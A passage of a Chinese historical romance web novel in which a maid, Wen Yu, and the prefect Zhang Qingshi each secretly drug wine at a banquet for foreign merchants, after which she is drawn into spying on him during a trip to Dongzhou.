而那个乌合人则潇洒自如地同他每个兄弟击掌嘻哈,时而说几句他们那土话,哄堂大笑一番,时而挨个碰酒灌酒,酒沿着他们又长又厚的胡须上洒落一地。
热情完又大刀阔斧地坐在主位上,轻浮地拍了拍身旁的凳子,示意温玉坐过来。
张清时是不会容许乌合人这样放荡的行为,于是他自己就
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顺势坐在乌合人旁边,再让温玉倚着自己坐,不让那乌合人有动手的机会。
可温玉刚一落桌,那乌合人就用一根筷子敲着碗大喊道:“倒酒啊!”
温玉只得马上起身提起桌下的酒坛给他倒了一碗,等要给张清时倒酒的时候,又被他给一把扯开。
他拿着酒碗对着张清时就开启一阵嘲讽:“要我说你们中原人哪都不行,酿酒不行,喝酒不行,人也不行,捉了我们乌合人,还不是要将我们放出来,哈哈哈哈!”
面对这番奚弄,张清时也不恼,吃着小菜安安静静地听他叫唤。
乌合人自言自说,甚觉得酒在口中没滋味,便转头瞪向了温玉:“给刺史上酒啊,光吃菜怎么行!”
温玉心领神会,侧着身,往酒坛里清敲了两下后才提起给张清时倒了一碗。
清澈透亮的酒散发着浓厚的醇香,张清时并未动。
乌合人恼怒:“张刺史,是不给我面子吗?”
“不。”张清时摇头,指了指乌合人手中还未喝完的酒道,“你先喝完这碗,再陪我喝这碗。”
“规矩真多!”
乌合人潇洒,说了一句便将碗端起,一饮而尽。
“给我也满上!”
温玉有些犹疑,但看着乌合人坚定的神色,还是将那酒倒给他。
“喝!”
“砰!”
瓷碗碰撞声响后,张清时同那乌合人一同提碗畅饮。
那乌合人喝得畅快,一下就喝完了,不过刚喝完就有些头晕目眩。
再一摇头,直接就趴到桌子上去了。
温玉心一紧,这药这么猛吗?
张清时是小口小口地喝酒,别人都倒了,他也才只是浅尝几口。
不过对于乌合人突然倒下,稍有些疑惑,但很快又接受了。
他转身平静地对温玉说:“温玉,这里没你什么事了,回去吧。”
“那他怎么办?”温玉有些紧张地问。
这次她没有给张郎君下药,而是给这位乌合人下药,想着一次下一点,这样的话就会巧然地昏过去。
到时候只能是追查乌合人是因为酒量不行而昏过去,而不是她下药所致。
可这药未免有些太猛,才一点剂量,一碗酒就倒了。
温玉害怕郎君看出蹊跷来。
而张清时则淡定地扫视了一圈周围,眼前那几桌被邀请而来的乌合人现已经全部都喝趴在桌上,没一个是清醒的。
但视线落在温玉身上,他从她的眼神中看出了恐慌。
心中暗觉不好,斟酌片刻后他从温玉手中取过酒坛,再倒入一副新碗中。
然后递给她,语气认真:“温玉,你辛苦了,喝了它。”
“啊?”
温玉诧异,难道是看出她在酒里下药,要来验证吗?
见温玉不愿,张清时一本正经解释道:“这酒有治伤的效果,你受伤了得喝。”
“噢。”
还好没发现这酒有异样,温玉紧张情绪少了半分,小心翼翼地从郎君手里接过。
看着满碗清冽的酒,温玉抿了抿唇,有些难为。
这喝了立刻倒怎么办?但不喝倒显得她心中作祟。
她又犹豫地看了一眼张清时,他的目光带着一丝迫切,迫切地想要她喝下。
在这目光下,温玉终究选择了臣服。
如壮士赴死般壮烈地将碗送如入嘴边。
心里自我安慰道:浅喝一点,应该不会被药倒吧。
安慰后,猛喝了一口,瞬间脑中一颗重石落下,两眼一闭,世界全黑了。
温玉身子也向一旁倒去,好在张清时时刻盯着她,及时地一手将她那纤细的腰肢握住。
但下一瞬,许多黑衣侍卫悄然冒了出来。
18. 心疼
那些凭空冒出的侍卫不是别人,而都是张清时的手下。
他和圣上一同下了一局。
前日一直追查乌合商队,倒是捉了几个可疑的人。
但他们非常敏感,还不待审讯完,就直接上报给了朝廷。
控诉他治理海关严格,有意在针对乌合。
圣上为了两邦之好,肯定是要责罚张清时的。
那他刚好利用道歉一事宴请所有的乌合商队前来,在他们的酒里下点药迷晕他们,再进行搜身。
这迷药有特点,无色无味溶于水,且轻剂量发作根本不明显,累计起来即刻倒。
服完再醒来也只会觉得是酒量问题。
可温玉是一个变量,她看到了所有的事情。
张清时只能也将她先药倒,再也以同样的借口哄骗她。
虽不齿,但也无他法。
张清时看了周遭的黑衣人,淡然道:“搜!”
接着,他便将温玉拦腰抱起,往后院的方向走去。
夜里风寒重,她受了伤,身上还单薄,可能难捱这院落里的冷风。
所以,张清时将她一路给抱至后院,送温玉回到她专属的小破屋。
初站在破屋门前时他还有些诧然,这屋非常破旧,屋粱、木门,哪一处都是陈旧腐朽,风一吹,即刻能听见木头吱吱呀呀的作响声。
这府是张清时初到青州时就购置下的,府外府内都有重新翻新,唯有后院当初是说不住人才延缓翻修的。
没想到徐管家把人安排住进了这,还未将此屋修缮过。
张清时叹了口气,这秋寒露重的,温玉一个人住在这怎顶得住,还是叫温玉继续回偏房住着吧。
但当下也没有更好的去处,张清时只好抱着温玉入了破屋内。
屋内极其简单,一张床,一张桌。
那日的白裳和帷帽还放在桌上,屋外寒风一吹,衣决飘飘。
怀里人体温更凉了几分。
张清时连忙关上门,将温玉放在床上。
风被止在门外,又从破窗进来,呼呼地吹着屋内。
张清时又拿起被褥盖在温玉身上,不经验间触及她体温还是很冷。
思衬之下,他从屋内赶忙出去,回到自己寝居取了一张重衾和一瓶药膏,又匆匆忙忙地回到破屋内,给温玉盖上被衾和涂上药膏。
厚厚的被衾盖上,张清时为她涂抹药膏时也能感受到身体的余温在回升。
她没那么冷了。
温玉白色的脖颈被那乌合人咬伤,有两道鲜红骇人的血口,而将冰冰凉凉白色的药膏涂抹很多遍,都不能掩其色。
张清时垂眸,手指涂了最后一遍后收了回来。
他有些失意,他在责怪自己没能够好好保护府里人,让温玉留下了阴影和伤痕。
但尽管这样,温玉还是处处想着他,替他分忧解难。
愧疚感甚重,他又重新替她掖了掖被角,触及肩膀时,他想起,曾几何时,他也对她做过这么不齿之事。
还重重罚了她。
不知道那些伤口是否有被愈合。
她是否会……讨厌他?
思绪飘走又飘回,张清时掖好被角后还是起身离开了。
他是背着一身清寂的月光离开的。
*
晨曦初露,轻柔的阳光从窗台跳进来,照在温玉的脸上,痒痒的又热热的。
温玉被热醒了。
她揉了揉惺忪的眼睛,照旧要下床洗漱,可刚掀开被衾,就察觉不对。
床上多了份被衾,而且它的走线和面料绝非是一般人才有的。
它怎么会出现在自己的床上?
温玉纳闷着,开始回想昨夜发生了什么:
昨夜她是喝了张清时端的一碗酒,然后然后……大脑渐渐陷入一片黑暗。
她想不起来。
温玉揉了揉额头,打算把这被衾叠好。
但俯下身轻轻一嗅,就嗅到了她心中熟悉的味道。
这是郎君的?
她心头有些惊讶又有些雀跃。
难道是说,她吃醉了酒,郎君送她回来的?
日还未上三竿,温玉的脸就被曦光照得又红有烫。
温玉抱起那床被衾,似乎是想透过那被衾再次回想感受郎君抱她时的那份温热感。
“砰砰砰!”
屋外的敲门声突然响起,吓得温玉手中的被衾都不小心地滑落在地上。
“温玉,你起床了吗?”
门外传来的是徐管家的声音,温玉以为是自己起晚了,于是立马将这被衾收起叠好,再放置在桌上衣服下面,掩盖好它后才去开门。
一开门,徐管家一副不好的脸色就乍地出现。
自从上次徐管家知道温玉给张郎君下药后都是这幅严肃的表情给温玉看。
她现在这样都看习惯了,便低下头乖顺道:“管家,温玉这就去干活。”
不过回完话,她刚要迈步,徐管家就拦住了她:“不用,不急。”
“那管家是有什么事吗?”温玉不解道。
只见徐管家上下左右扫视了这圈屋子,又极快地瞥了一眼屋内,最后皱着眉道:“今天你收拾一下回西院偏房去住吧,这里住不得人。”
“为何呀?管家。”温玉有些讶异,先不说她都住习惯了,可这怎么突然好端端地就让她换屋住呢?
徐管家把手背在后面,解释道:“这后院本就是不打算住人的,瞧这屋,要是下个暴雨刮个大风什么的,没一会儿就塌了,倒时候你跑都还来不及。”
“这…温玉可以自己往墙上糊点水泥,不让屋子塌掉。”温玉还是不想离开这间破屋,尽力为自己争取道。
“这不是你说了算的。”徐管家正色道,“张郎君说还要将这后院的所有破屋都拆掉。”
“是……郎君说的吗?”
温玉抿了抿唇,难道是昨晚自己干了什么严重的事情,惹郎君恼怒了,现下竟连破屋都不给她住了。
徐管家点了点头,见温玉不舍的样子又催促道:“你也别磨蹭了,收拾一下回偏房吧。”
“是……”
温玉应道,目送徐管家离去后,慢慢踱步回到破屋内,又拾起起那张被衾。
它脱离了人的体温后,是冰凉的,光滑的,又让人抓不住的感觉。
温玉担忧,是不是因为自己下药的秘密又被郎君发现了。
而郎君赶她出这个破屋,是不是和之前赶她出偏房的意思一样,再接下来是不是真的就要将她赶出府去?
温玉望向未关上的门,屋外草长莺飞,若真被赶出府去,这样好的景色是再也不能见了吧。
忽而捏着被衾的手一紧,温玉还是想同郎君解释一下。
解释这是乌合人强塞的,强逼迫的,而自己就
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独独下给了那个乌合人,根本没有害郎君的心思。
郎君心好,一定会理解的。
若要是在杖罚她,她也是愿意的。
想着,温玉就将被衾紧紧抱在怀里去书房里找郎君。
一路小跑,汗水打湿了额前的碎发,温玉都没有去管,直奔郎君书房。
走至书房门前,才缓下脚步,在门外重整一下衣服,缕顺了碎发后才敲门。
“进。”
温玉得到应允后缓缓地推开门,一抬眼张清时正坐在侧窗前对着芙蓉花一笔一笔地描摹,眼神十分贯注。
等到张清时将画的主体部分画完,他才往温玉的方向看去。
一眼看去,似是春意。
她虽背对着光而站,但却成了光的中心,万缕光辉洒在她的身上。微风拂过,青丝裹挟着金辉在风中轻盈舞动,宛若一幅流动的画卷。
很适合在画在纸上。
“见过郎君。”
见郎君看过来,温玉立即低头朝张清时行了一礼。
“怎么了吗?”
张清时问,视线又落回画纸上,瞬间起了其他灵感,提笔又添了几笔。
“郎君,这被衾还你。”温玉试探性地开口,“昨晚温玉过多叨唠郎君了。”
“无妨。”
张清时用笔轻轻地划过纸面,只闻笔尖轻擦声音,未闻其他情绪。
温玉心中犹疑,难道郎君没有发现下药之事?
于是尝试着更大胆点问:“郎君为何要将温玉赶出破屋?”
“赶?”张清时收笔,转过身平静地解释,“那屋破旧不适合住人,我只是叫你回偏房住着。”
见他的回答是跟徐管家一样的措辞,温玉心头不由地舒缓了一下,看来不是她做错了事,而是真因为那破屋住不了人。
但破屋住惯了,她还真有些不习惯,便开口挽留道:“郎君,能不能——”
“温玉,过来。”
张清时忽而打断了她,叫她过来看他画完的画。
张清时才学俱佳,习字和作画都很精通,他画卷上那朵芙蓉花真如同窗外的那朵一摸一样,画的真是栩栩如生。
但温玉想不出什么夸赞的佳辞来,只能由衷地道:“真好看,郎君。”
张清时淡淡地笑了一声:“再过一个月,芙蓉花的花期就过了,我想着趁现在把它最的样子给留下来。”
残花,温玉想起了那日掉落的几朵落花,和徐管家说过的话,便也用来安慰张郎君:“郎君,徐管家说了,将落花埋在土中,来年依然会盛开,我们年年都会见到它,不用过于伤怀。”
“嗯。”张清时浅浅地应了一声,“那这幅画我就赠予你吧,既然我年年都能见,也不差这一个半月了。”
“郎君你是要?”温玉捕捉到关键词,有些诧异地问。
张清时点了点头,认真道:“明日我可能要去往外地,参加东州监察御史的生辰宴,估计得在那呆上半月。”
“郎君你要离开青州??”
温玉心一紧,原以为他只是简单地离开刺史府办些公案,可如今他要离开青州,还要离开这么久。
那刺史府没人照应,陈禹岂不是又会找来,一来二去的,很难想象陈禹会做些什么更过分的事情。
极大的不安全感开始袭来,温玉琉璃般的眸子映衬着紧张和恐慌:“郎君,可不可以带我一起走?”
19. 若即若离
面对突如其来的请求,张清时当场就拒绝了:“温玉,我不需要别人的照顾,也不需要你陪同我一起前去。”
“可……”温玉有不敢宣之于口的理由。
怕太过陷入这个话题,张清时主动提起了其他事情:“那间破屋我会找人拆除,从今以后你跟着雨燕她们一样睡偏房,听夫子上课就好。”
这话说的好像——要把温玉的一切特权全给剥夺。
温玉极度不愿:“不好,郎君。”
“为何不好?”张清时自认为这样的处理极为妥当。
“郎君,留着那间破屋好不好?”温玉低声请求道,那破屋虽破,但也是她一个人的天地,那她第一次拥有自己的房间,可以藏住不少她的心事。
“可那屋很破,住不了人的。”张清时耐心解释道,“到了冬天,寒风袭来,你和屋都会受不了的。”
“温玉会糊墙,可以把墙都糊好,糊牢固,这样墙就不会塌了。”
温玉信誓旦旦地说,还将手放在额间作出发誓的模样。
张清时瞧她那认真模样,有些无奈:“为何这么想住破屋?”
“因为喜欢。”温玉说的很直白,也不藏着掖着自己的真实想法,“那是温玉第一次拥有自己单独的房间,虽然小而破,但留有一个窗台。透过窗能看见绿草,能闻见花香,能听到鸟鸣,能感受阳光……”
“对温玉来说是个很温馨的地方!”
温玉说着说着,那双含着春波的眼眸亮亮的,看得出来她是真的很喜欢那间破屋。
张清时也不是不通情达理的人,恰又被温玉这段坦然的话有所打动,便应允道:“那好,这间屋我就留给你,我会叫徐管家找人修缮一下的。”
“谢谢主君!”
温玉激动地又朝张清时行了一礼,小小的脸上尽是藏不住的喜悦。
张清时见了,也是觉得窗外的芙蓉开得更娇艳了些。
“那郎君。”温玉忽而又开口问,“这几日如果要修缮房屋的话,我能不能跟郎君一起去东州?”
“……”
张清时一时之间陷入了沉默。
温玉抿了抿唇解释道:“屋子修缮,我本就没有去处。再加上郎君,你在外地,总是要有人来伺候的。而且别人都带丫鬟仆从什么的,郎君你不带会不会……”
张清时:“会有些什么?”
“有…有些丢面。”温玉用极小声音说道。
从前在陈府便是这样,公子小姐们哪次出门都是很大排场,丫鬟仆从们带一堆,谁家带的少了,反而还会奚落别人。
有钱有权人的世界好像都是这样,什么都要分出个高低来。
所以温玉想张清时一定会带上自己的,毕竟他本就没多少个仆从。
“温玉,我不需要。”张清时还是毅然而然地拒绝了温玉,“刺史府不助长这种攀比之风。”
“……”
这次轮到温玉沉默了,张郎君好像和她所见过了解过的权贵从头到脚都不一样,甚至温玉学着兰水她们应对陈禹那样对他,他也一点都不为所动。
可真是个奇怪的人。
温玉浅浅地叹了口气,绞尽脑汁地很快想了另一个措辞:“郎君,其实是我想去东州!”
“为何?”
果然张清时问得语气就重了些。
“其实……温玉有一个哥哥。”温玉低下头,让人看不见她的眸子在眼皮下疯狂转动,“兄长从小与家人走散,听家里人说兄长流落在东洲,所以温玉想碰碰运气!”
很荒唐的理由,说话的时候温玉都不敢抬头看张清时。
只是等了很久的寂静后,张清时开口答应了她:“我觉得我可以帮你寻这位兄长。”
“!”
温玉顿住,更加不敢抬头,因为大海捞针之事若张郎君要做,温玉也相信他是能做得到的。
“那时候我年岁小,已然不记得兄长细致模样了。”温玉继续编借口道,自己硬扯的谎说什么也要编下去。
“无妨。”张清时目光变得深邃,“我素来爱成人之美。”
“我教过你画像,你可将你哥的模样画下来,明日你随我们一同出发。”
“是……”
温玉低声应道,心里却打起了退堂鼓,她都没怎么出过陈府大院,见过的男人模样屈指可数也就算了,况且张郎君在青州待这么久了,温玉见过的他肯定也见过。
忧思萦绕在心间,温玉最后是以被霜打的茄子似的姿态出了郎君书房,继而又回到后院干活。
干体力活能稍微舒缓愁绪,但还是抵不住露出一副如枯叶般的愁容。
惹得雨燕她们不由地围上来问。
“温玉姐姐,怎么了吗?”雨燕担心地问,最近老感觉温玉最近是一副心事重重的样子。
温玉看见大家都围了上来,连忙摆手,强装平静道:“没…没事。”
“温玉姐姐,你是不是在担心许欢呀?”雨燕开口道,“我听仆从说,她已经搭上赵县令,成了赵县令府中的大丫鬟了,一个人可以带好几个丫鬟,这生活过得叫一个美滋滋啊!”
“真的吗?”阿莫惊奇,“她是如何做到的?”
雨燕摊了摊手:“谁知道呢?”
“哎,还是她厉害。”阿喜叹气道,“我阿娘说,今日能做上大丫鬟,后日成良妾成嬷嬷都是很有可能的。”
“可赵县令都五十来岁了,做他的妾干什么?”雨燕不理解,又带着另一番意思的眼神看向温玉,“温玉姐姐,若我家兄长高中,你做我嫂嫂好不好,正妻的那种。”
“不…不用了,谢谢雨燕。”温玉摇摇头,这种嫁娶之事她从来没考虑过,况且她现在也不能考虑。
“可一直听你夸自家兄长,怎么从来没听你说过你家兄长长什么样呀?”阿莫打趣道,“要是一副中规中矩的样子,怎么能配上我家温玉。”
“对呀对呀。”阿喜也跟着附和道,大家都想听雨燕讲讲她兄长的模样。
这也引起雨燕的分享欲,她轻咳一声,拉高了嗓门:“我兄长虽然没有张郎君好看,但还算是一个普通的美男子。”
阿莫:“这算什么,具体展开说说呗。”
雨燕瞧了一眼温玉:“温玉姐姐,你想听吗?”
温玉正愁画不出兄长模样,现雨燕又一次提及,她当然是愿闻其详的:“想听!”
闻言,雨燕喜上眉梢,眉毛一挑道:“我兄长嘛,首先自然跟我一样有一双大而圆的眼睛,但没有我那么灵动。其次是一只不直不怎么高挺的鼻梁,但也有些高度。再是一张厚厚的嘴唇,老实憨厚。然后就是一张圆润的脸庞,村里人都说,那是福气的长相!”
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雨燕词汇不太多,粗浅又直白的描述大家似懂非懂。
但雨燕依然很自豪道:“怎么说,我兄长长得帅吧。”
“感觉是个弱小子,我喜欢身强力壮的男子。”说着,阿莫又回忆起某些画面,“我在府中曾见过一男子,身材宽大又强壮,关键还身姿矫健,这要是跟我一起干农活,我们一定能干的又快又好。”
“肤浅。”雨燕摇摇头,“这天下唯有读书高,你懂不懂,温玉姐姐你说呢?”
“啊?”
温玉还沉浸在雨燕的描述中没及时出来,她想要是照这个模子再改上几笔,饶郎君也找不出一样的人来。
“温玉姐姐!”雨燕有些生气,自己费力地介绍兄长,但她根本不领情。
温玉敲定了想法后,立刻拥抱住雨燕,安抚她的小情绪道:“好啦,你家兄长有福相有福气一定会取得功名,再娶个好娘子的。”
“你不喜欢我兄长吗?”雨燕撅起嘴巴,有些小小的失落。
见状,温玉换了另外一种方式继续安慰:“我想你兄长考取功名一定是为了自身美好前程、家族寄托和自身理性才奋斗努力的吧,如果说考上就娶妻生子,岂不是没了他这一身的才情?”
雨燕在她怀里听到这番话也稍稍解开了些郁闷:“好吧,是我太心急了,对不起,温玉姐姐。”
“没事!”温玉摸了摸她的脑袋道,“到时候若你兄长考上,请我吃席,两人相见要是有情愫生成,那也会是一桩水到渠成的佳话。”
“嗯嗯。”雨燕点了点头,还是想往常一样在心中默默期待这兄长高中。
继而,其他人都各自散开干活,温玉还在心中默默描摹一个不存在的“兄长”。
等活干完,食过午饭,温玉匆匆地回到破屋,提起毛笔开始画。
张清时很好,除了叫夫子给府内丫鬟仆从们识字以外,还给人配备了少量的笔墨纸砚,有闲暇时,大家都可以稍稍练笔。
而温玉是张清时亲自教的,墨笔什么的都可以直接从书房里拿和问郎君要。
提笔蘸墨,温玉已经能熟练地写出几个好字和描绘一些柔顺的线条。
她开始描绘她的兄长。
首先是眼睛,既是兄妹,温玉是桃花眼,那兄长也是。
其次是鼻梁,温玉想到了挺拔俊雅的张郎君,于是也画了高挺的鼻梁。
再是薄唇,再是……
不行,温玉感觉自己要仿制出一个张郎君来了。
于是脸型的轮廓调整成方形,不圆,因为温玉一直觉得自己没那么大的福气。
就这样,一副初具人样的画像出来了。
但仔细一看,有些普通,温玉想再加点雕饰,于是一手提着毛笔,一手撑着下巴开始思索。
可毛笔上的墨汁未干,顺着毛流凝聚成一滴浓墨,在不经意间地摇晃中滴落。
温玉还没来得及接住,墨滴滴到下巴和脸颊间,形成了一颗痣。
这人像突然就变得有特点了些。
温玉喜悦地眉眼都展开了许多,然后起身拿起这张画又去找郎君。
她欢快地在路上走着,可发现一堆穿着黑衣服的人也走在前头,似乎也是望郎君书房的方向。
步履急又匆,像是有什么大事发生。
温玉放慢脚步,悄然跟了上去。
20. 东州
只见那一行人匆匆地赶到书房门口后,又安静地站定在书房门前,等领头者敲了敲门,他们才有礼貌地进去。
温玉没有继续跟上去,她清楚知道这些人不是坏人,更像是张郎君的侍从。
而这一身不同常人的打扮,肯定是干一些不为人知的事情。
温玉没必要凑上去惹疑。
不过这又说明了另一件事,温玉心中突想,张郎君去东州绝对不是参加宴席那么简单。
这或许是个好消息,是温玉能卖给陈府的一个好消息。
上次将机会给了许欢,许欢脱颖而出,成了赵县令府内的大丫鬟。
而这一次,温玉开始犹疑要不要当个告密者。
如果信息传递出去,那陈禹会不会就因此将她母亲的病治好。
那郎君呢?他们知情后郎君会被如何?
温玉思绪纷杂,像是有两个小人在打架。
恰好这时,进入屋内的黑衣人又退了出来,然后又极速散去。
郎君书房现在没人了。
温玉在这草垛中再稍稍站了一会儿时间后,才拿着画去郎君书房。
也是先敲门,被应允后才进去。
这会儿张郎君没有再写没有再画什么,负手而立于窗前。
细碎的阳光透过绿叶映射在他的脸上,突出他那卓越的五官。
连光都十分偏爱他。
“郎君,我画好了。”温玉轻声唤道,将画纸捧上。
张清时走近抽走,细细端详了起来。
而温玉也偷偷打量他的神情,没成想他看到画直皱起了眉。
“这是你兄长?”张清时问。
“是的,郎君。”
温玉回答的很肯定,特意指了指眼睛:“兄长的眉眼很像我。”
“……”
细细观摩后,张清时来了句:
“你兄长我好像在哪见过。”
张郎君说得轻描淡写,但温玉听着心不由地一震。
这虚造的人,郎君也见过?有这么神奇吗?
接着,张清时把画放下,很认真地看向她:“我记住你兄长的长相了,你放心我一定会帮你找到的。”
“好…好,谢谢郎君。”
温玉眼皮垂下,声音略微有些颤抖,张郎君这番保证,有些让她紧张。
不过想想也没有可能,一个根本不存在的人,就算依着模子找到了,也不会是她的兄长。
温玉在心底偷偷喘了口气,抬眼看向张清时的眼眸。
许是心虚在作祟,一对上,刚平静的心脏又活泼乱跳了起来。
温玉极速地别开眼道:“那郎君,没什么事的话,我先退了。”
“等等。”
张清时唤住她,将早上那副芙蓉画卷又递给她:“你不是想学吗?拿去好好临摹便也能学会其中一二。”
“是……”
温玉从他手中小心翼翼地接过,摊开画卷,一颗芙蓉树上开满许多娇艳的芙蓉花,和屋外一样。
但瞄向树下,是一群白兔子。
看到这一眼时,温玉的心脏猛地要从胸口蹦出。
由于心脏跳动地太过猛烈,温玉赶紧将画收拢,捂着胸口匆匆地离开了书房。
直到走在青石板路上,才渐渐恢复平息。
不过一上来她就打了一下自己的脸,因为刚看到这幅画时她竟天真地以为郎君是在画自己。
所幸刚出来了,人也清醒了。
随后,温玉将画藏在胸襟里,那样才不会被人发现。
愈要到晚秋,黑夜来得愈快。
温玉没什么要收拾的东西,便早些歇下了,等一早好同郎君一起出发。
*
东州距离青州不远也不近,路程大概是需要赶一天多的路才到,而东州那位监察御史差不多也是在第四日举办生辰宴。
所以天还微微亮的时候,就有仆从在破屋门外通知温玉起床准备出发。
屋内被叫醒了的温玉稍微揉了揉惺忪的眼睛后,就利索地下床收拾自己。
到选择穿哪件衣裳时,又戴上了那顶帷幔,她还没还。
纱幔很长,遮住了温玉整个身形,青天白日的走在众人面前,惹了不少疑惑和匪夷所思的目光。
在一众仆从前的徐管家见了也提出疑问:“温玉,你这是什么打扮?”
“温玉……不想引起别人的关注。”温玉垂头回答道,长长的纱幔直接堆砌在她脚背,上面宽大的帷帽也险些撞上了徐管家。
徐管家两个眉头又拧在了一起:“你这出去不就是引风头,快换下。”
“是,管家。”
温玉手撑向头顶刚要被帷幔取下时,刚好张清时也走了过来。
温玉特意把动作放慢,想要引起张清时的注意。
哪成想,直至帷幔被取下,被徐管家拿走,张清时也没有多往这边看一个眼神,多说一句话。
温玉有总感觉自己像浑身赤裸地一样站在大众的面前,无所适从。
“快上马车,在外面你可要听郎君的话,把郎君照顾好,听到没?”徐管家虽然不喜温玉,但还是会很细心地叮嘱温玉,顺势指了指张清时刚上的那辆马车。
温玉望过去,很是惊讶,她能和郎君通乘一辆马车,想都不敢想的事情。
“马车早就雇好了,要不是你突然加入,我也不会安排你和郎君同乘的。”徐管家读懂了温玉的神色,解释道。
“好的,管家,我一定会好好照顾郎君的。”
温玉欣喜地点了点头,然后快步地朝郎君马车走去。
无论怎样,能和郎君共乘,就是一件值得开心的事。
踩上架子,掀开帘幕,温玉就看到张清时坐在里边,闭着眼,撑着额头在养神。
温玉不敢惊扰,便放轻了脚步,然后悄然靠近张清时坐下,在一旁静静地呆着。
帘幕落下,马车是封闭的,张郎君是闭目休息的,温玉才敢慢慢地大呼吸着气。
因为这马车上都是她喜欢的书墨味,还糅杂着一抹花香。
接着,马夫持鞭,马儿动身,马车也跟着往前平稳走着。
他们走得是宽路,路宽敞又平坦,张清时休息的很安稳,温玉也渐渐有些困意。
一个还欠紧接着一个哈欠打,就在眼皮慢慢阖上之际。
马车突然剧烈摇晃,一不留神,温玉就摔倒在张清时的怀里。
眼皮不再打架,而是挣得极开。
温玉离张郎君的脸非常近,近到她都感受到两人的呼吸在纠缠。
“温玉,没事吧?”张清时撑着额头的手伸向了温玉,想拉她起来。
温玉望着那修长白皙的手指,没有犹豫,将小手搭在他的手上。
冰冰凉凉但柔软舒适,又多了份眷恋感。
温玉只敢握住他的半节手指,正当借着他手上力气起身时,帘幕“唰”地一下被掀开。
温玉心一惊,立马把小手抽离,强拉着他的臂弯迅速起身。
张清时虽有些吃痛,但也没怪罪温玉,随即便问向掀开帘幕之人询问:“怎么了吗?”
“郎君,路过俞元县城门口,那些官兵要查我们的车!”仆从气愤道,“我都告诉他们,郎君您的身份,他们还要查!明明前车他们都只是问了身份才走!”
“无妨。”张清时挥了挥手,从容道,“他们例行检查就是。”
“但是…他们要郎君下车!”仆从回道,“这未免也太驳了郎君的面子吧。”
“人家也是在例行公事。”张清时耐心宽慰道,“配合他们工作,不存在说有失什么面子。”
继而张清时起身朝外面走去,温玉也紧跟了下去。
一下来,那些官兵见
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真是刺史大人,也丝毫不慌,扬起头颅说什么因匪患横行,必须要带人进屋内审问一番才行,还希望刺史大人要全身心的配合。
可俞元县查这么久还没查到匪患吗?温玉心带疑虑地看向张清时。
只见张清时点头也顺了他们的意,但突然提了这么一句:“前些日子不是抓了些匪患,为何今日还有?”
“这…这…是为了…防患于未然。”官兵左思右想才憋出这么一句词来。
温玉不禁想,这哪是查匪患啊,这分明就是要查张清时。
随后,马车上众人都被一一带进小房间审问检查。
审问温玉的是一个四五十的官兵,小小眼睛,两撇大大的胡须,这是温玉对他的印象。
他喉咙里好像含着痰,问话前都要先咳嗽两声,吐唾沫一下。
“咳咳咳,你…叫什么名?”他摸了摸胡须,翘着二郎腿,毫不在意地问。
“奴婢叫温玉。”
温玉认真回答道,毕竟他是官,她是奴,面对起来也不得马虎。
“温…玉?”
“嘶——!”
他反复磨搓着胡须,额头上纹路尽显:“咳咳,温玉?我好像在哪听过。”
“大人,您说笑了。”温玉心一紧,赶忙含糊解释,“奴婢整日在府中伺候郎君,从未出过门,许是丫鬟都是一个名,大人记错了。”
“是吗?”官兵眼睛微眯起盯着温玉,完全没有了先前的漫不经心,“听你口音倒像是俞元县的人呀!”
“大人真是慧眼,温玉的确是俞元县人。”温玉紧张地咽了咽口水,“家里穷,被发卖给了刺史府。”
“那你是哪一户人?”官兵依旧穷追不舍地问,“你可莫要唬我,我这可是有户籍册的。”
“……”
这下可难住了温玉。
温玉心虚地抬眼看向这个长着两撇胡须的官兵,他豆大的眼睛里充斥着犀利。
见温玉还未回答,他重重拍桌:“还不如实招来!”
从古至今,官大于商,大于民。
商人或可以让你吃不上饭,穿不了衣,但官却能像捏死一只蝼蚁一样捏死那些豪不起眼的人。
就连陈禹,成为青州首富,也要与这些官结交,讨好他们。
温玉不敢有所辩驳,如实道:“温玉先前是陈府的人。”
陈府与俞元县县令交好,众人皆知,他们这种普通的官兵也应该会看在陈禹的面上放过她。
恰好审问都是单独审问。
所以温玉只得搬出陈禹来。
“咳咳咳!”
官兵的痰好像卡在喉咙里出不来,咳了好几声才出来,激动道:“你就是陈府的温玉?”
“大人,认得我?”温玉好奇道,不知道他为什么这么激动。
“我才不会认得你。”官兵摸着胡须不屑道,“要不是赵县令说,说要是碰见一个叫许欢的和一个叫温玉的,就要让她们想尽办法传出有用的讯息出来。”
“要是她们说不出的话——”
又是一记拍桌声,把温玉整个人都震了一下。
“都杀了!”
随即官兵做了一个抹脖子的手势,威胁道。
这一番问话,明明还没到冬天,温玉背后就先出了一生冷汗。
先前以为躲在刺史府里,陈禹和赵县令的人找不到她,她就可以慢慢来。
没想到,他们的手段很多。
先是陈瑶来打探,再是乌合人,现又是整个俞元县的官兵。
温玉自知,若是再做不出有用的事情来,他们的手段只会更加变本加厉。
但…泄密,郎君又会被如何?
温玉垂眸,心中犹疑不已。
“快说,这张郎君最近可有在做什么事?”
眼前那人不耐烦地催促道,屋外此时也响起了敲门声。
21. 东州2
“里面的,还没好吗?”
屋外传来的是仆从的敲门和问话声。
不过一下子又被其他官兵给挡住了:“去去去,例行审问,岂容你置喙。”
继而,屋外的声音渐渐平息,屋内的视线却依然虎视眈眈。
温玉知道不能再耽搁下去了,她必须做出选择,不然两边都会起疑心。
于是,她深深地吐出一口气,平缓道:“奴婢确有一事要告知县令大人。”
“青州刺史张郎君,此次突然路经俞元县,其实是要远赴东州。”
官兵不解:“去东州作甚。”
“参加御察监史的生辰。”温玉抬眸,眸中聚起一抹机警,“但奴婢觉得没那么简单。”
官兵摸胡须的手一顿:“此话怎讲?”
“奴婢不知。但奴婢已争取到与郎君同行,奴婢会时刻紧盯着他的行动一定会想方设法地告诉大人们。”
温玉将她那日在府中看到的黑衣人全隐瞒了下去,她要在二方周璇,一来不能告诉赵县令这边太多有用的信息,不然就没有利用价值。
二来她也不想给张郎君增添更多危险。
“咳咳咳,就这么点吗?”
官兵复又摸起他的胡须,轻蔑地扫了温玉一眼。
温玉点头,恳切道:“还望大人在县令面前多说些我的好话,温玉这一路会替县令大人打探更多的讯息。”
说着还递了数几个铜板过去,这是她从工钱里分出来的一些,想讨好官兵。
官兵虽不稀罕这几个子,但还是把钱拿走:“咳咳,这是我会如实说的。没其他的事,你就走吧。”
“是,谢谢大人。”
温玉礼貌地告退,推开门,便都是众人炽热的眼光。
但只有一下,便都消散。
等温玉淡然地上了车,张清时才开口问:“那些官兵可有刁难你?”
“没。”
温玉利落地回应,安静地跪坐在一旁,实则是有些害怕张郎君的审问。
“嗯,好。”
